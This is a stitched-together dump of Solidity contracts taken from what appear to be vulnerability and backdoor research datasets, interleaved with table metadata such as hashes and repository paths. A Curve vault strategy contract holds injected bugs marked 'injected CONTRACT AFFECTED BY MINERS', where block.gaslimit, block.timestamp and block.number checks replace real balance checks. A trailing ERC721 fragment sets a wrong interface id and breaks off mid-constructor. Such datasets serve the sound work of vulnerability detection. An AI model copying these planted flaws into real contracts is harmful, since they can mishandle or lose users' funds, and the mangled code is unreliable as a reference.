function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
}
| 198,426 | 11,729 |
c2f8e8427dd1063f2931354199c3f9a6291910ffe7920076f4de28e43cfe9416
| 28,538 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x76bA4f62F879fBDBD61A6fcB5513C817495280DA_affectedByMiners.sol
| 4,980 | 18,413 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (block.gaslimit > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
}
interface ICurveDeposit {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// renBTC pool
uint256[2] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount, bool _donate_dust) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
function calc_withdraw_one_coin(uint256 _amount, int128 _index) external view returns(uint256);
}
//
interface Gauge {
function deposit(uint256) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
}
//
interface Uni {
function swapExactTokensForTokens(uint256,
uint256,
address[] calldata,
address,
uint256) external;
}
interface IController {
function withdraw(address, uint256) external;
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
//
interface Mintr {
function mint(address) external;
}
//
contract StrategyCurve3TokenPool {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public constant N_COINS = 3;
uint256 public immutable WANT_COIN_INDEX;
address public immutable want;
address public immutable crvLP;
address public immutable curveDeposit;
address public immutable gauge;
address public immutable mintr;
address public immutable crv;
address public immutable uni;
// used for crv <> weth <> dai route
address public immutable weth;
string private name;
// DAI, USDC, USDT, TUSD
address[N_COINS] public coins;
uint256[N_COINS] public ZEROS = [uint256(0),uint256(0),uint256(0)];
uint256 public performanceFee = 500;
uint256 public immutable performanceMax = 10000;
uint256 public withdrawalFee = 0;
uint256 public immutable withdrawalMax = 10000;
address public governance;
address public controller;
address public timelock;
constructor
(address _controller,
string memory _name,
uint256 _wantCoinIndex,
address[N_COINS] memory _coins,
address _curveDeposit,
address _gauge,
address _crvLP,
address _crv,
address _uni,
address _mintr,
address _weth,
address _timelock)
public
{
governance = msg.sender;
controller = _controller;
name = _name;
WANT_COIN_INDEX = _wantCoinIndex;
want = _coins[_wantCoinIndex];
coins = _coins;
curveDeposit = _curveDeposit;
gauge = _gauge;
crvLP = _crvLP;
crv = _crv;
uni = _uni;
mintr = _mintr;
weth = _weth;
timelock = _timelock;
}
function getName() external view returns (string memory) {
return name;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
require(msg.sender == governance, "!governance");
require(_withdrawalFee < withdrawalMax, "inappropriate withdraw fee");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
require(_performanceFee < performanceMax, "inappropriate performance fee");
performanceFee = _performanceFee;
}
function deposit() public {
_deposit(WANT_COIN_INDEX);
}
function _deposit(uint256 _coinIndex) internal {
require(_coinIndex < N_COINS, "index exceeded bound");
address coinAddr = coins[_coinIndex];
uint256 wantAmount = IERC20(coinAddr).balanceOf(address(this));
if (block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS
IERC20(coinAddr).safeApprove(curveDeposit, 0);
IERC20(coinAddr).safeApprove(curveDeposit, wantAmount);
uint256[N_COINS] memory amounts = ZEROS;
amounts[_coinIndex] = wantAmount;
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).add_liquidity(amounts, 0);
}
uint256 crvLPAmount = IERC20(crvLP).balanceOf(address(this));
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
IERC20(crvLP).safeApprove(gauge, 0);
IERC20(crvLP).safeApprove(gauge, crvLPAmount);
Gauge(gauge).deposit(crvLPAmount);
}
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
uint256 _amount = Gauge(gauge).balanceOf(address(this));
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (block.gaslimit < _amount) { //injected CONTRACT AFFECTED BY MINERS
_withdrawSome(_amount.sub(_balance));
_amount = IERC20(want).balanceOf(address(this));
}
uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
}
function _withdrawSome(uint256 _amount) internal {
uint256 rate = ICurveDeposit(curveDeposit).calc_withdraw_one_coin(10**18, int128(WANT_COIN_INDEX));
_amount = _amount.mul(10**18).div(rate);
if(block.timestamp > balanceOfGauge()) { //injected CONTRACT AFFECTED BY MINERS
_amount = balanceOfGauge();
}
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
for(uint i = 0; i < N_COINS; ++i) {
require(coins[i] != address(_asset), "internal token");
}
require(crv != address(_asset), "crv");
require(crvLP != address(_asset), "crvLP");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
function harvest(uint _coinIndex) public {
require(_coinIndex < N_COINS, "index exceeded bound");
Mintr(mintr).mint(gauge);
address harvestingCoin = coins[_coinIndex];
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
IERC20(crv).safeApprove(uni, 0);
IERC20(crv).safeApprove(uni, _crv);
address[] memory path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = harvestingCoin;
// TODO: add minimun mint amount if required
Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
}
uint256 harvestAmount = IERC20(harvestingCoin).balanceOf(address(this));
if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
uint256 _fee = harvestAmount.mul(performanceFee).div(performanceMax);
IERC20(harvestingCoin).safeTransfer(IController(controller).rewards(), _fee);
_deposit(_coinIndex);
}
}
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfGauge() public view returns (uint256) {
return Gauge(gauge).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
uint256 gaugeBalance = balanceOfGauge();
// NOTE: this is for curve 3 pool only, since calc_withdraw_one_coin
// would raise error when input 0 amount
if(block.timestamp == 0){ //injected CONTRACT AFFECTED BY MINERS
return 0;
}
return ICurveDeposit(curveDeposit).calc_withdraw_one_coin(gaugeBalance, int128(WANT_COIN_INDEX));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function setGovernance(address _governance) external {
require(msg.sender == timelock, "!timelock");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setTimelock(address _timelock) public {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
}
| 280,894 | 11,730 |
4bf35d5230661b6a540ede70ae502343fcd934c4739d7a7e82fd20144b0f6bab
| 23,380 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8588_8829_0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198.sol
| 4,172 | 15,839 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Bank {
/// @notice EIP-20 token name for this token
string public constant name = "Bankless Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BANK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 1_000_000_000e18; // 1 billion Bank
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "Bank::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
function setMinter(address minter_) external {
require(msg.sender == minter, "Bank::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Bank::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "Bank::mint: minting not allowed yet");
require(dst != address(0), "Bank::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "Bank::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Bank::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Bank::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Bank::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Bank::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Bank::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Bank::permit: invalid signature");
require(signatory == owner, "Bank::permit: unauthorized");
require(now <= deadline, "Bank::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Bank::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Bank::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Bank::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Bank::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Bank::delegateBySig: invalid nonce");
require(now <= expiry, "Bank::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Bank::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Bank::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Bank::_transferTokens: cannot transfer to the zero address");
require(dst != address(this), "Bank::_transferTokens: cannot transfer to token address");
balances[src] = sub96(balances[src], amount, "Bank::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Bank::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Bank::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Bank::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Bank::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 232,261 | 11,731 |
bcc0cdddc3e0d5b8e6b9b9f158f637b228c72f60c80c2eae3f61d46006000b94
| 23,389 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xf4d9000456bc1e8922a18f3d58c1036aa1afbbc2.sol
| 3,340 | 12,876 |
pragma solidity ^0.4.24;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x80ac58cd;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() public
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
contract IERC721 is IERC165 {
event Transfer(address indexed _from,
address indexed _to,
uint256 indexed _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function approve(address to, uint256 tokenId) external payable;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes data) external payable;
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor() public
{
